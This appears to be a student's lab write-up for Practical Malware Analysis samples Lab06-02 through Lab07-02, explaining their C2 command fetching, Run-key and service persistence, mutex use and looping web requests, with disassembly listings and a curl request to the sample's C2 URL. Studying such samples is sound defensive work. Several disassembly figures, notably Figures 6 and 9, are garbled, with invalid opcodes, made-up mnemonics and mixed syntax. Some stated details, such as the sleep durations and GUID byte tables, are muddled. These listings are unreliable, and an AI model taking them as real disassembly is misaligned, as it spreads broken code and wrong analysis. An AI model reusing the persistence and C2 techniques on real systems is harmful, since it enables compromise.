0000000000401056 FF 15 C4 60 40 00 call ds:InternetOpenA ; Indirect Call Near Procedure
000000000040105C 89 45 F4 mov [ebp+hInternet], eax
000000000040105F 6A 00 push 0 ; dwContext
0000000000401061 6A 00 push 0 ; dwFlags
0000000000401063 6A 00 push 0 ; dwHeadersLength
0000000000401065 6A 00 push 0 ; lpszHeaders
0000000000401067 68 C4 78 40 00 push offset szUrl ; "http://www.practicalmalwareanalysis.com"...
000000000040106C 8B 45 F4 mov eax, [ebp+hInternet]
000000000040106F 50 push eax ; hInternet
0000000000401070 FF 15 B4 60 40 00 call ds:InternetOpenUrlA ; Indirect Call Near Procedure
0000000000401076 89 45 F0 mov [ebp+hFile], eax
0000000000401079 83 7D F0 00 cmp [ebp+hFile], 0 ; Compare Two Operands
000000000040107D 75 1E jnz short loc_401090 ; Jump If Not Zero (ZF=0)

```

Figure 5: Lab06–02 | Internet connection API calls and strings

First, `szAgent` containing string “*Internet Explorer 7.5/pma*”, which is a User-Agent String, is passed to `InternetOpenA`.

`szUrl` contains the string “<http://www.practicalmalwareanalysis.com/cc.htm>” which is the URL for `InternetOpenUrlA`.

This has another `jnz` where the jump is not taken if `hFile` returned from `InternetOpenUrlA` is 0 (meaning no file was downloaded), where a message is printed “*Error 2.2: Fail to ReadFile\n*” and the internet connection is closed.

iv. What type of code construct is used in `sub_40140`?

If `szURL` is found, the program attempts to read 200h (512) bytes of the file (`cc.htm`) using the API call `InternetReadFile` (the `jnz` unsuccessful path leads to “*Error 2.2: Fail to ReadFile\n*” printed and connections closed) (figure 6).

```

    ; Read first 4 bytes of cc.htm
    0000000000401113 BB BB FF FD FF 00  al_ [ebp+var_200]
    0000000000401112 0F 00  short loc_401112 ; jump

    ; Call sub_401040 if match
    loc_401148:
    0000000000401148 FF F3 FE FF FF call sub_401040 ; call Procedure
    000000000040114D BB 45 F8 mov [ebp+var_8], al
    0000000000401150 BF BE 85 F8 movsx ax, [ebp+var_8] ; Move with Sign-Extend
    0000000000401154 B5 C0 test ax, ax ; Logical Compare
    0000000000401156 7E 04 jnt short loc_40115C ; Jump if Not Zero (ZF=0)

    ; Call sub_40115C if match
    loc_40115C:
    000000000040115C 0F 3E 40 FF movsx ecx, [ebp+var_8] ; Move with Sign-Extend
    000000000040115D 51 push ecx
    000000000040115E BB 10 71 40 00 push offset subSuccessParsedC ; "Success! Parsed command is %c\n"
    0000000000401166 E8 14 00 00 00 call printf ; Call Procedure
    000000000040116B E3 C4 00 add esp, 8 ; Add
    000000000040116E BB 00 EA 00 00 push 0000000000401173 ; dwMilliseconds
    0000000000401173 FF 23 00 00 40 00 call dwSleep ; Indirect call Near Procedure
    0000000000401179 33 C0 xor eax, eax ; Logical Exclusive OR
  
```

Figure 6: Lab06-02 | Reading first 4 bytes of cc.htm

There are then four `cmp / jnz` blocks which each comparing a single byte from the Buffer and several variables. These may also be seen as `Buffer+1`, `Buffer+2`, etc. This is a notable code construct in which a character array is filled with data from `InternetReadFile` and is read one by one.

These values have been converted (by pressing R) to ASCII. Combined these read `<!--`, indicative of the start of a comment in HTML. If the value comparisons are successful, then `var_20C` (likely the whole 512 bytes in `Buffer`, but just mislabeled by IDA) is read. If at any point a byte read is incorrect, then an alternative path is taken and the string “*Error 2.3: Fail to get command\n*” is printed.

Looking back at `main`, if this all passes with no issues, the string “*Success: Parsed command is %c\n*” is printed and the system does `Sleep` for 60000 milliseconds (60 seconds) (figure 7). The command printed (displayed through formatting of `%c` is variable `var_8`) is the returned value from `sub_401040`, the contents of `cc.htm`.

```

    ; Print successfully parsed command
    0000000000401148:
    0000000000401148 loc_401148:
    0000000000401148 FF F3 FE FF FF call sub_401040 ; call Procedure
    000000000040114D BB 45 F8 mov [ebp+var_8], al
    0000000000401150 BF BE 85 F8 movsx ax, [ebp+var_8] ; Move with Sign-Extend
    0000000000401154 B5 C0 test ax, ax ; Logical Compare
    0000000000401156 7E 04 jnt short loc_40115C ; Jump if Not Zero (ZF=0)

    ; Sleep for 60 seconds
    loc_40115C:
    000000000040115C 0F 3E 40 FF movsx ecx, [ebp+var_8] ; Move with Sign-Extend
    000000000040115D 51 push ecx
    000000000040115E BB 10 71 40 00 push offset subSuccessParsedC ; "Success! Parsed command is %c\n"
    0000000000401166 E8 14 00 00 00 call printf ; Call Procedure
    000000000040116B E3 C4 00 add esp, 8 ; Add
    000000000040116E BB 00 EA 00 00 push 0000000000401173 ; dwMilliseconds
    0000000000401173 FF 23 00 00 40 00 call dwSleep ; Indirect call Near Procedure
    0000000000401179 33 C0 xor eax, eax ; Logical Exclusive OR
  
```

Figure 7: Lab06-02 | Reporting successful read of command and sleeping for 60 seconds

v. Are there any network-based indicators for this program?

The key NBIs (network-based indicators) from the program are the user-agent string and URL found related to the `InternetOpenA` and `InternetOpenUrlA` calls; *Internet Explorer 7.5/pma* and <http://www.practicalmalwareanalysis.com/cc.htm>

vi. What is the purpose of this malware?

Very similar to Lab06-01.exe, Lab06-02.exe tests for internet connection and prints an appropriate message. Upon successful connection, however, the program then attempts to download and read the file from <http://www.practicalmalwareanalysis.com/cc.htm>.

```
C:\Users\cxe\Desktop\PMA_tmp>Lab06-02.exe
Success: Internet Connection
Error 2.3: Fail to get command
```

```
# curl --user-agent "Internet Explorer 7.5/pma" http://www.practicalmalwareanalysis.com/cc.htm
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>
```

Figure 8: Lab06-02.exe | Tested execution

Upon testing, this file is not available on the server. The program did not successfully read the required first 4 bytes therefore an error message was printed (figure 8).

d. Analyze the malware found in the file *Lab06-03.exe*.**i. Compare the calls in main to Lab06-02.exe's main method. What is the new function called from main?**

For both executables, I have renamed all of the functions that we have already analysed. The differentiator between the two is an additional function once internet connection has been tested, the file has been downloaded, and the successful parsing of the command message has been printed — `sub_401130` (figure 9).

sub esp, 10h

```

    orl 0x401200, [esp+4]
    subl 0x401200, [esp+4]
    movl 0x401200, [esp+4]
    movl 0x401200, [esp+4]
    movl 0x401200, [esp+4]

```

```

    pushl esp
    movl esp, eip
    subl esp, 1 ; Integer Subtraction
    calll testmem ; Call Procedure
    cmpl esp, [espvar_1], al
    cmpl esp, [espvar_1], bl ; Compare Bl & esp[1]
    jne start_lx_401200 ; Jump If Not Equal (JNE)

```

Line	Op	Description
00000000041200	lcr 401200	
00000000041200	calll downloadfile ; Call Procedure	
00000000041200 00 45 F0	movl [espvar_1], al	
00000000041200 00 45 F0	movl al, [espvar_1] ; Move with Sign-Extend	
00000000041204 00 00	testl al, al ; Logical Compare	
00000000041204 75 00	jne start_lx_401200 ; Jump If Not Equal (JNE)	

Line	Op	Description	Line	Op	Description
00000000041208 33 00	xorl ebx, ebx ; Logical Exclusive OR	0000000004120C			
0000000004120A 33 00	popl ebx	0000000004120C	lcr 401200		
0000000004120B 7E 71	jne start_lx_401200 ; Jump	0000000004120C			
			0000000004120C 0F BE 40 F0	movl ebx, [espvar_1] ; Move with Sign-Extend	
			0000000004120C 55	pushl ebx	
			0000000004120D 48 80 70 40 00	pushl offset successProcess ; Success Process name is 100	
			0000000004120E 48 3C 00 00 00	calll printf ; Call Procedure	
			0000000004120E 03 C4 00	addl esp, 3 ; Add	
			0000000004120E 00 35 00	movl ebx, [espvar_1]	
			0000000004120F 00 40 00	movl ebx, [esp]	
			0000000004120F 59	pushl ebx ; LocalStringFileName	
			0000000004120F 00 40 00	movl cl, [espvar_1]	
			0000000004120F 55	pushl ebx ; Out	
			0000000004120F 00 3C 00 00	calll sub_401200 ; Call Procedure	
			0000000004120F 03 C4 00	addl esp, 3 ; Add	
			0000000004120F 00 90 00 00	pushl 0000 ; CallSeconds	
			0000000004120F FF 15 38 99 40 00	calll duSleep ; Indirect Call Near Procedure	
			0000000004120F 33 00	xorl ebx, ebx ; Logical Exclusive OR	

Line	Op	Description
00000000041200	lcr 401200	
00000000041200	movl 00, esp	
00000000041200 50	popl %rbp	
00000000041200 C3	retl	Return Near from Procedure
00000000041200	leave esp	

```

main proc near
    . . .
    sub esp, 1 ; Integer Subtraction
    call testInternet ; Call Procedure
    mov [ebp+var_4], eax
    cmp [ebp+var_4], 0 ; Compare Two Operands
    jne short loc_401148 ; Jump If Not Zero (ZF=0)

    push ebp
    mov ebp, esp
    sub esp, 1 ; Integer Subtraction
    call testInternet ; Call Procedure
    mov [ebp+var_4], eax
    cmp [ebp+var_4], 0 ; Compare Two Operands
    jne short loc_401148 ; Jump If Not Zero (ZF=0)

loc_401148:
    . . .
    call doLoadFile ; Call Procedure
    mov [ebp+var_1], al
    movsx eax, [ebp+var_1] ; Move with Sign-Extend
    test eax, eax ; Logical Imperial
    jne short loc_40115C ; Jump if Not Zero (ZF=0)

loc_40115C:
    . . .
    xor eax, eax ; logical Exclusive OR
    jne short loc_401178 ; Jump
    . . .

loc_401178:
    . . .
    mov esp, ebp
    pop ebp
    retf ; Return Near from Procedure
    . . .

```

Figure 9: Lab06-03.exe | Comparisons of Lab06-03.exe (left) and Lab06-02.exe (right) main functions

ii. What parameters does this new function take?

`sub_401130` takes 2 parameters. The first is `char`, the command character read from <http://www.practicalmalwareanalysis.com/cc.htm> and `ipExistingFileName` (a long pointer to a character string, ‘Existing File Name’, which is the program’s name (Lab06-03.exe) (figure 10). These were both pushed onto the stack as part of the `main` function.

```

0000000000401130
0000000000401130
0000000000401130 ; Attributes: bp-based frame
0000000000401130
0000000000401130 ; int _cdecl sub_401130(char, LPCSTR lpExistingFileName)
0000000000401130 sub_401130 proc near
0000000000401130
0000000000401130 var_8= dword ptr -8
0000000000401130 phkResult= dword ptr -4
0000000000401130 arg_0= byte ptr 8
0000000000401130 lpExistingFileName= dword ptr 0Ch
0000000000401130
0000000000401130 55 push ebp
0000000000401131 8B EC mov ebp, esp
0000000000401133 83 EC 08 sub esp, 8 ; Integer Subtraction
0000000000401136 0F BE 45 08 movsx eax, [ebp+arg_0] ; Move with Sign-Extend
000000000040113A 89 45 F8 mov [ebp+var_8], eax
000000000040113D 88 4D F8 mov ecx, [ebp+var_8]
0000000000401140 83 E9 61 sub ecx, 61h ; Integer Subtraction
0000000000401143 89 4D F8 mov [ebp+var_8], ecx
0000000000401146 83 7D F8 04 cmp [ebp+var_8], 4 ; switch 5 cases
000000000040114A 0F 87 91 00 00 00 ja loc_4011E1 ; jump table 00401153 default case

```

Figure 10: Lab06-03.exe | sub_401130 parameters.

iii. What major code construct does this function contain?

IDA has helpfully indicated that the major code construct is a five-case switch statement by adding comments for 'switch 5 cases' and the 'jumptable 00401153 default case'. We have previously seen similar cmp which are if statements, however, in this case, there is a possibility of five paths. We can confirm this in the flowchart graph view, where there are five switch cases and one default case (figure 11).




Figure 11: Lab06-03.exe | sub_401130 flowchart

iv. What can this function do?

The five switch cases are as follows (figure 12):

Switch Case	Location	Action
Case 0	Loc_40115A	Calls CreateDirectoryA to create directory C:\Temp
Case 1	loc_40116C	Calls CopyFileA to copy the data at lpExistingFileName to be C:\Temp\cc.exe
Case 2	loc_40117F	Calls DeleteFileA to delete the file C:\Temp\cc.exe
Case 3	loc_40118C	Calls RegOpenKeyExA to open the registry key Software\Microsoft\Windows\CurrentVersion\Run Calls RegSetValueExA to set the value name to Malware with data C:\Temp\cc.exe
Case 4	loc_4011D4	Call Sleep to sleep the program for 100 seconds
Default	loc_4011E1	Print error message <i>Error 3.2: Not a valid command provided</i>

Figure 12: Lab06-03.exe | sub_401130 switch cases

Depending on the command provided (0–4) the program will execute the appropriate API calls to perform directory operations or registry modification. lpExistingFileName is the current file, Lab06-03.exe. Setting the registry key

Software\Microsoft\Windows\CurrentVersion\Run\Malware with file C:\Temp\cc.exe is a method of persistence to execute the malware on system startup.

v. Are there any host-based indicators for this malware?

The key HBIs (host-based indicators) are the file written to disk (C:\Temp\cc.exe), and the registry key used for persistence (Software\Microsoft\Windows\CurrentVersion\Run /v Malware | C:\Temp\cc.exe)

vi. What is the purpose of this malware?

Following on from the functionality of the simpler Lab06-01.exe and Lab06-02.exe, Lab06-03.exe also tests for internet connection and prints an appropriate message. The program attempts to download and read the file from <http://www.practicalmalwareanalysis.com/cc.htm>. The program then has a set of possible functionalities based upon the contents of cc.htm and the switch code construct to perform one of:

- Create directory C:\Temp
- Copy the current file (Lab06-03.exe) to C:\Temp\cc.exe
- Set the Run registry key as Malware | C:\temp\cc.exe for persistence
- Delete C:\Temp\cc.exe
- Sleep the program for 100 seconds

e. analyze the malware found in the file Lab06-04.exe.

i. What is the difference between the calls made from the main method in Lab06-03.exe and Lab06-04.exe?

```

00000000000401040
00000000000401040
00000000000401040 ; Attributes: bp-based frame
00000000000401040
00000000000401040 downloadFile proc near
00000000000401040
00000000000401040 Buffer= byte ptr -230h
00000000000401040 var_22F= byte ptr -22Fh
00000000000401040 var_22E= byte ptr -22Eh
00000000000401040 var_22D= byte ptr -22Dh
00000000000401040 var_22C= byte ptr -22Ch
00000000000401040 hFile= dword ptr -30h
00000000000401040 hInternet= dword ptr -2Ch
00000000000401040 szAgent= byte ptr -28h
00000000000401040 dwNumberOfBytesRead= dword ptr -8
00000000000401040 var_4= dword ptr -4
00000000000401040 arg_0= dword ptr 8
00000000000401040

00000000000401040 55 push ebp
00000000000401041 BB EC mov ebp, esp
00000000000401043 81 EC 30 02 00 00 sub esp, 56h ; Integer Subtraction
00000000000401049 BB 45 00 mov eax, [ebp+arg_0]
0000000000040104C 50 push eax
0000000000040104D 68 F4 70 40 00 push offset aInternetExplor ; "Internet Explorer 7.50/pma%0d"
00000000000401052 BD 4D DB lea ecx, [ebp+szAgent] ; Load Effective Address
00000000000401055 51 push ecx
00000000000401056 EB BB 02 00 00 call sub_4012E6 ; Call Procedure
00000000000401058 83 C4 0C add esp, 12 ; Add
0000000000040105E 6A 00 push 0 ; dwFlags
00000000000401060 6A 00 push 0 ; lpszProxyBypass
00000000000401062 6A 00 push 0 ; lpszProxy
00000000000401064 6A 00 push 0 ; dwAccessType
00000000000401066 BD 55 DB lea edx, [ebp+szAgent] ; Load Effective Address
00000000000401069 52 push edx ; lpszAgent
0000000000040106A FF 15 DC 60 40 00 call ds:InternetOpenA ; Indirect Call Near Procedure

```

Figure 13: Lab06-04.exe | Modified downloadFile function with arg_0

Of the subroutines called from main we have analysed (renamed to testInternet, printf, downloadFile, and commandSwitch) only downloadFile has seen a notable change. The aInternetExplor address contains the value *Internet Explorer 7.50/pma%0d* for the user-agent (szAgent) which includes an %0d not seen previously, as well as a new local variable arg_0 (figure 13).

This instructs the printf function to take the passed variable arg_0 as an argument and print as an int. The variable is a parameter taken in the calling of downloadFile , denoted by IDA as var_C (figure 14).

```

00000000000401263 8B 4D F4 mov ecx, [ebp+var_C]
00000000000401266 51 push ecx
00000000000401267 E8 D4 FD FF FF call downloadFile ; Call Procedure
0000000000040126C 83 C4 04 add esp, 4 ; Add
0000000000040126F 88 45 F8 mov [ebp+command], al
00000000000401272 0F BE 55 F8 movsx edx, [ebp+command] ; Move with Sign-Extend

```

Figure 14: Lab06-04.exe | Variable passed to downloadFile

Some of the called subroutines have different memory addresses to what we saw in the previous Lab06-0X.exes, due to the main function being somewhat more complex and expanded.

ii. What new code construct has been added to main?

main has been developed upon to include a for loop code construct, as observed in the flowchart graph view (figure 15).




Figure 15: Lab06–04.exe | For loop within main

A `for` loop code construct contains four main components — initialisation, comparison, execution, and increment. All of which are observed within `main` (figure 16):

Component	Instruction	Description
Initialisation	mov [ebp+var_C], 0	Set var_C to 0
Comparison	cmp [ebp+var_C], 1440	Check to see if var_C is 1440
Execution	DownloadFile commandSwitch	Download and read command from the file Execute command using switch cases
Increment	mov eax, [ebp+var_C] add eax, 1	Add 1 to the value of var_C

Figure 16: Lab06–04.exe | For loop components

iii. What is the difference between this lab's parse HTML function and those of the previous labs?

As previously identified, the parse HTML function (`downloadFile`) now includes a passed variable. Having analysed this and `main`, we can determine that it is the `for` loop's current

conditional variable (`var_C`) value which is passed through to `downloadFile`'s user-agent `Internet Explorer 7.50/pma%6d`, as `arg_0` as this will increment by 1 each time, it may potentially be used to indicate how many times it has been run.

iv. How long will this program run? (Assume that it is connected to the Internet.)

There are several aspects of `main`'s `for` loop which can help us roughly work how long the program will run. Firstly, we know that there is a `Sleep` for 60 seconds, after the `commandSwitch` function. We also know that the conditional variable (`var_C`) is incremented by 1 each loop. (Figure 17).

```

000000000040129A E8 B1 FE FF FF    call   commandSwitch ; Call Procedure
000000000040129F 83 C4 08          add    esp, 8      ; Add
00000000004012A2 68 60 EA 00 00    push   50000          ; dwMilliseconds
00000000004012A7 FF 15 30 60 40 00  call   ds:Sleep       ; Indirect Call Near Procedure
00000000004012AD EB A2          jmp    short loc_401251 ; Jump

loc_401251:
0000000000401251                 loc_401251:
0000000000401251 8B 45 F4        mov    eax, [ebp+var_C]
0000000000401254 83 C0 01        add    eax, 1      ; Add
0000000000401257 89 45 F4        mov    [ebp+var_C], eax

```

Figure 167: Lab06-04.exe | Sleep function and for loop increment

The `for` loop starts `var_C` at 0, and will break the loop once it reaches 1440. This means that there are 1440 60second loops, equalling 86400 seconds (24hours). The program may run for longer if the command instructs the `switch` within `commandSwitch` to sleep for 100seconds at any of the 1440 iterations.

v. Are there any new network-based indicators for this malware?

The only new NBI for Lab06-04.exe is the `aInternetExplor` "Internet Explorer 7.50/pma%6d", with "<http://www.practicalmalwareanalysis.com/cc.htm>" as the other, already known, indicator.

vi. What is the purpose of this malware?

Lab06-04.exe is the most complex of the four samples, where a basic program to check for internet connection has been developed into an application that connects to a C2 domain to retrieve commands and perform specific actions on the host. The malware runs for a minimum of 24hrs or at least makes 1440 connections to the C2 domain with 60-second sleep intervals. The functionality of the malware allows it to copy itself to a new directory, set it as autorun for persistence by modifying a registry, delete the new file, or sleep for 100 seconds.

Practical No. 3

a. Analyze the malware found in the file Lab07-01.exe.

i. How does this program ensure that it continues running (achieves persistence) when the computer is restarted?

Creates a service named "Malservice". Establishes connection to the service control manager (OpenSCManagerA) — requires administrator permissions, then gets handle of current process (GetCurrentProcess), gets File name (GetModuleFileNameA). Creates the service named "Malservice" which auto starts each time. (CreateServiceA)


```

push    3          ; dwDesiredAccess
push    0          ; lpDatabaseName
push    0          ; lpMachineName
call   ds:OpenSCManagerA
mov    esi, eax
call   ds:GetCurrentProcess
lea    eax, [esp+404h+Filename]
push   3E8h        ; nSize
push   eax         ; lpFilename
push   0          ; hModule
call   ds:GetModuleFileNameA
push   0          ; lpPassword
push   0          ; lpServiceStartName
push   0          ; lpDependencies
push   0          ; lpdwTagId
lea    ecx, [esp+414h+Filename]
push   0          ; lpLoadOrderGroup
push   ecx         ; lpBinaryPathName
push   0          ; dwErrorControl
push   SERVICE_AUTO_START ; dwStartType
push   SERVICE_WIN32_OWN_PROCESS ; dwServiceType
push   SC_MANAGER_CREATE_SERVICE ; dwDesiredAccess
push   offset DisplayName ; "Malservice"
push   offset DisplayName ; "Malservice"
push   esi         ; hSCManager
call   ds>CreateServiceA
xor    edx, edx
lea    eax, [esp+404h+FileTime]
mov    dword ptr [esp+404h+SystemTime.wYear], edx
lea    ecx, [esp+404h+SystemTime]
mov    dword ptr [esp+404h+SystemTime.wDayOfWeek], edx
push   eax         ; lpFileTime
mov    dword ptr [esp+408h+SystemTime.wHour], edx
push   ecx         ; lpSystemTime
mov    dword ptr [esp+40Ch+SystemTime.wSecond], edx
mov    [esp+40Ch+SystemTime.wYear], 834h
call   ds:SystemTimeToFileTime
push   0          ; lpTimerName
push   0          ; bManualReset
push   0          ; lpTimerAttributes
call   ds>CreateWaitableTimerA
push   0          ; fResume
push   0          ; lpArgToCompletionRoutine
push   0          ; pfnCompletionRoutine
lea    edx, [esp+410h+FileTime]
---- ----

```

ii. Why does this program use a mutex?

Program uses mutex to not reinfect the same machine again. Opens mutex (OpenMutexA) with the name “**HGL345**” with **MUTEX_ALL_ACCESS**. If instance is already created, terminates program, otherwise creates one.




iii. What is a good host-based signature to use for detecting this program?

Host-based signature are mutex “**HGL345**” and service “**Malservice**”, which starts the program.

iv. What is a good network-based signature for detecting this malware?

User Agent is “Internet Explorer 8.0” good network-based signature and connects to server “<http://www.malwareanalysisbook.com>” for infinity time.



```

; Attributes: noreturn

; DWORD __stdcall StartAddress(LPVOID lpThreadParameter)
StartAddress proc near

lpThreadParameter= dword ptr 4

push    esi
push    edi
push    0          ; dwFlags
push    0          ; lpszProxyBypass
push    0          ; lpszProxy
push    INTERNET_OPEN_TYPE_DIRECT ; dwAccessType
push    offset szAgent ; "Internet Explorer 8.0"
call    ds:InternetOpenA
mov     edi, ds:InternetOpenUrlA
mov     esi, eax

```



```

loc_40116D:           ; dwContext
push    0
push    INTERNET_FLAG_RELOAD ; dwFlags
push    0          ; dwHeadersLength
push    0          ; lpszHeaders
push    offset szUrl ; "http://www.malwareanalysisbook.com"
push    esi         ; hInternet
call    edi ; InternetOpenUrlA
jmp    short loc_40116D
StartAddress endp

```

v. What is the purpose of this program?


Program is designed to create the service for persistence, waits for long time till 2100 years, creates thread, which connects to "<http://www.malwareanalysisbook.com>" forever, this loop never ends. The rest code is not accessed: 20 times calls thread, which connects to web page and sleeps for 7.1 week long before program exits. Infinitive loop is created to **DDOS attack** the page. Attacker is only able to compromised the web page if has more resources than hosting provider can handle.

vi. When will this program finish executing?

Program will wait 2100 Years to finish. This time represents midnight on January 1, 2100.

```
xor    edx, edx
lea    eax, [esp+404h+FileTime]
mov    dword ptr [esp+404h+SystemTime.wYear], edx
lea    ecx, [esp+404h+SystemTime]
mov    dword ptr [esp+404h+SystemTime.wDayOfWeek], edx
push   eax          ; lpFileTime
mov    dword ptr [esp+408h+SystemTime.wHour], edx
push   ecx          ; lpSystemTime
mov    dword ptr [esp+40Ch+SystemTime.wSecond], edx
mov    [esp+40Ch+SystemTime.wYear], 2100
call   ds:SystemTimeToFileTime
push   0             ; lpTimerName
push   0             ; bManualReset
push   0             ; lpTimerAttributes
call   ds>CreateWaitableTimerA
push   0             ; fResume
push   0             ; lpArgToCompletionRoutine
push   0             ; pfnCompletionRoutine
lea    edx, [esp+410h+FileTime]
mov    esi, eax
push   0             ; lPeriod
push   edx          ; lpDueTime
push   esi          ; hTimer
call   ds:SetWaitableTimer
push   0FFFFFFFh      ; dwMilliseconds
push   esi          ; hHandle
call   ds:WaitForSingleObject
test  eax, eax
jnz   short loc_40113B
```

Creates new thread (CreateThread), important argument is lpStartAddress, which indicates the start of the thread and connects to internet (described at paragraph 4) for 20 times. Then sleeps for enormous time ~ 7.1 week and exits the program.



b. Analyze the malware found in the file Lab07-02.exe.


i. How does this program achieve persistence?

Program doesn't achieve persistence. Initializes COM object (**OleInitialize**) creates single object with specified clsid (**CoCreateInstance**).

```
; int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near

ppv= dword ptr -24h
pvArgv= VARIANTARG ptr -20h
var_18= word ptr -18h
var_8= dword ptr -10h
argc= dword ptr -10h
argv= dword ptr -10h
envp= dword ptr -8h

sub    esp, 24h
push   @                   ; pVtReserved
call   ds:oleInitialize
test   eax, eax
jl    short loc_401085
```



IDA PRO represents rclsid and riid like this:

.rdata:00402058 ; IID rclsid	
.rdata:00402058 rclsid	dd 2DF01h ; Data1
.rdata:00402058	dw 0 ; Data2
.rdata:00402058	dw 0 ; Data3
.rdata:00402058	db 0C0h, 6 dup(0), 46h ; Data4
.rdata:00402068 ; IID riid	
.rdata:00402068 riid	dd 0D30C1661h ; Data1
.rdata:00402068	dw 0CDAFh ; Data2
.rdata:00402068	dw 11D0h ; Data3
.rdata:00402068	db 8Ah, 3Eh, 0, 0C0h, 4Fh, 0C9h, 0E2h, 6Eh; Data4

There are two ways to get GUID value of rclsid and riid. Conversion through size representation: dd (dword – 4 bytes)
0002 DF01
dw 0 - 0000
dw 0 - 0000
db C0 (takes only 1 byte)
000000 46GUID format is {8-4-4-12} If we write as GUID we get:
{0002DF01-0000-0000-000000000046} Here is another way: The interval of value rclsid is from [402058-402068]. If we eliminate image base (40 0000), we get the interval [2058-2068) or [2058-2067] (we don't want to take byte which belongs to other value).

CFF Explorer VIII - [Lab07-02.exe]

File Settings ?

Lab07-02.exe

Member	Offset	Size	Value	Meaning
Magic	00000100	Word	010B	PE32
MajorLinkerVersion	0000010A	Byte	06	
MinorLinkerVersion	0000010B	Byte	00	
SizeOfCode	0000010C	Dword	00001000	
SizeOfInitializedData	00000110	Dword	00002000	
SizeOfUninitializedData	00000114	Dword	00000000	
AddressOfEntryPoint	00000118	Dword	00001090	.text
BaseOfCode	0000011C	Dword	00001000	
BaseOfData	00000120	Dword	00002000	
ImageBase	00000124	Dword	00400000	

CFF Explorer showing the Image Base

I use HxD to select hex bytes Edit -> Select block...

HxD - [C:\Users\user\Desktop\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-mast

File Edit Search View Analysis Tools Window Help

Lab02

Offset

000015 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text

000016 00 00 00 00 00 00 00 00 00 00

000017 00 00 00 00 00 00 00 00 00 00

000018 00 00 00 00 00 00 00 00 00 00

000019 00 00 00 00 00 00 00 00 00 00

00001A 00 00 00 00 00 00 00 00 00 00

00001B 00 00 00 00 00 00 00 00 00 00

00001C 00 00 00 00 00 00 00 00 00 00

00001D 00 00 00 00 00 00 00 00 00 00

00001E 00 00 00 00 00 00 00 00 00 00

00001F 00 00 00 00 00 00 00 00 00 00

000020 00 00 00 00 00 00 00 00 00 00


000021 00 00 00 00 00 00 00 00 00 00

000022 00 00 18 22 00 00 06 22 00 00 "!"..8"..."..

000023 00 00 7A 21 00 00 82 21 00 00 a!...è!...z!..

F8 21 00 00 E8 21 00 00

Set the ranges:



"Data inspector" view shows `rcsid` – GUID value (Byte order should be set to Little Endian):
`{0002DF01-0000-0000-C000-000000000046}`


Hex	Dec
0002DF0100000000C00000000046	0002DF0100000000C00000000046
00	0
02	2
DF	223
01	1
00	0
00	0
00	0
C0	192
00	0
00	0
00	0
00	0
46	70

If we do the same for `riid` we get `{D30C1661-CDAF-11D0-8A3E-00C04FC9E26E}`


Hex	Dec
D30C1661CDAF11D08A3E00C04FC9E26E	D30C1661CDAF11D08A3E00C04FC9E26E
D3	211
0C	12
16	22
61	97
00	0
CDAF	3244
11D0	2960
8A3E	21422
00	0
C0	192
4F	79
C9	201
E2	218
6E	102

These registry keys will show `clsid` and `riid` meanings: `HKEY_CLASSES_ROOT\CLSID\` and `HKEY_CLASSES_ROOT\Interface\P.S.`. `HKEY_CLASSES_ROOT` (HKCR) is a shortcut of `HKLM` and `HKCU`, but in our case it doesn't matter. `HKEY_CLASSES_ROOT\CLSID\{0002DF01-0000-0000-C000-`

0000000000046} shows that CLSID belongs to Internet Explorer (Ver 1.0).



HKEY_CLASSES_ROOT\Interface\{D30C1661-CDAF-11D0-8A3E-00C04FC9E26E} and the interface is IWebBrowser2.




More info about could be found [here](#). After execution of CoCreateInstance one of arguments *ppv contains the requested interface pointer.

C++

```
HRESULT CoCreateInstance(
    REFIID rclsid,
    LPUNKNOWN pUnkOuter,
    DWORD dwClsContext,
    REFIID riid,
    [LPVOID *ppv
);
```

Pointer *ppv is moved to eax. which is later de-referenced (pointer to object).



```
lea    eax, [esp+24h+ppv]
push  eax          ; ppv
push  offset riid   ; riid
push  4             ; dwClsContext
push  0             ; pUnkOuter
push  offset rclsid  ; rclsid
call  ds:CoCreateInstance
mov   eax, [esp+24h+ppv] ; Pointer to interface
test  eax, eax
jz   short loc_40107F
```



```
lea    ecx, [esp+24h+pvarg]
push  esi
push  ecx          ; pvarg
call  ds:VariantInit
push  offset psz    ; "http://www.malwareanalysisbook.com/ad.h"...
mov   [esp+2Ch+var_10], 3
mov   [esp+2Ch+var_8], 1
call  ds:SysAllocString
lea    ecx, [esp+28h+pvarg]
mov   esi, eax
mov   eax, [esp+28h+ppv] ; Pointer to interface
push  ecx
lea    ecx, [esp+2Ch+pvarg]
mov   edx, [eax]      ; Dereferenced (pointer to object)
push  ecx
lea    ecx, [esp+30h+pvarg]
push  ecx
lea    ecx, [esp+34h+var_10]
push  ecx
push  esi
push  eax
call  dword ptr [edx+2Ch] ; ->Navigate
push  esi          ; bstrString
call  ds:SysFreeString
pop   esi
```

From de-referenced object 2Ch is added (44 in dec).

```

mov    edx, [eax]      ; Dereferenced (pointer to object)
push   ecx
lea    ecx, [esp+30h+pvarg]
push   ecx
lea    ecx, [esp+34h+var_10]
push   ecx
push   esi
push   eax
call   dword ptr [edx+2Ch] ; ->Navigate


```

Structure of IWebBrowser2, can be found [here](#).
44 means Navigate method is called.

IWebBrowser2	STRUCT
QueryInterface	DWORD : ;{#} (This,riid,ppvObject)
AddRef	DWORD : ;{4} (This)
Release	DWORD : ;{0} (This)
GetTypeInfoCount	DWORD : ;{12} (This,pctinfo)
GetTypeInfo	DWORD : ;{16} (THIS,ztInfo,lcid,ppTInfo)
GetIDsOfNames	DWORD : ;{20} (THIS,riid,rgszNames,chnames,lcid,rDispId)
Invoke	DWORD : ;{24} (This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,pArgErr)
GoBack	DWORD : ;{28} (This)
GoForward	DWORD : ;{32} (This)
GoHome	DWORD : ;{36} (This)
GoSearch	DWORD : ;{40} (This)
Navigate	DWORD : ;{44} (This,lpUrl,lpDisp,TargetFrameName,postData,readers)
Refresh	DWORD : ;{48} (This)
Refresh2	DWORD : ;{52} (This,level)
Stop	DWORD : ;{56} (This)
get_Application	DWORD : ;{60} (This,ppDisp)
get_Parent	DWORD : ;{64} (This,ppDisp)
get_Container	DWORD : ;{68} (This,ppDisp)
get_Document	DWORD : ;{72} (This,ppDisp)
get_TopLevelContainer	DWORD : ;{76} (This,ppDisp)
get_Type	DWORD : ;{80} (This,Type)
